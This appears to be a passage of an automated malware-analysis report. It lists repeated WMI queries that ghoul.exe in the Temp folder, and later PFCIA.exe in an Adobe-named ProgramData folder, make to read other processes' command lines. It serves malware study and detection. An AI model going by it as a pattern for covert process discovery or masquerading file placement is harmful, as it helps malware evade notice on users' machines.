    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6080
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6528
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1032
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4844
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2172
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3816
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5152
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 984
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6868
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2556
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1484
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4720
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8124
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8064
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1168
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5304
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4712
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2544
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 572
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5496
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5096
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6872
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1552
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2536
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2928
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6664
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1544
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2528
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1936
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2444
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2012
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1364
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1732
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1928
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2124
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3108
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5668
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5076
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7740
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4196
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3300
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 540
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 736
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 932
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2900
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7036
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1212
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6048
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1516
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1708
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1116
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2240
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3080
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4348
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1404
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6228
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3272
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7408
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2384
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5720
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6652
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2236
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5648
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 900
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5036
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4684
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7288
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2864
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6212
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 892
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7692
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2268
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 172
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1472
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2476
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5016
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1272
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1640
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7176
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4436
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4808
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6764
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1412
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5592
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3256
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5388
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4796
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7552
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6960
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2428
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3016
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5608
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1832
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5276
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1436
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6360
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1236
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3008
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1824
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2216
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4972
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1228
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1424
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1028
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3588
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4964
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4004
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 824
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1216
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2988
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3344
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4276
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2788
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6136
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3180
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3376
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2116
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6476
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3964
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2780
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4748
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6712
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6080
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6528
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4788
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1032
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4844
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2172
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3816
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5152
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 984
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6868
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2556
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1484
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4720
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8124
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8064
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1168
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5304
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4712
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2544
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 572
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5496
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5096
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6872
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1552
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2536
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2928
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1544
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2528
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1936
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2444
    Source: C:\ProgramData\Adobe\PFCIA.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1364
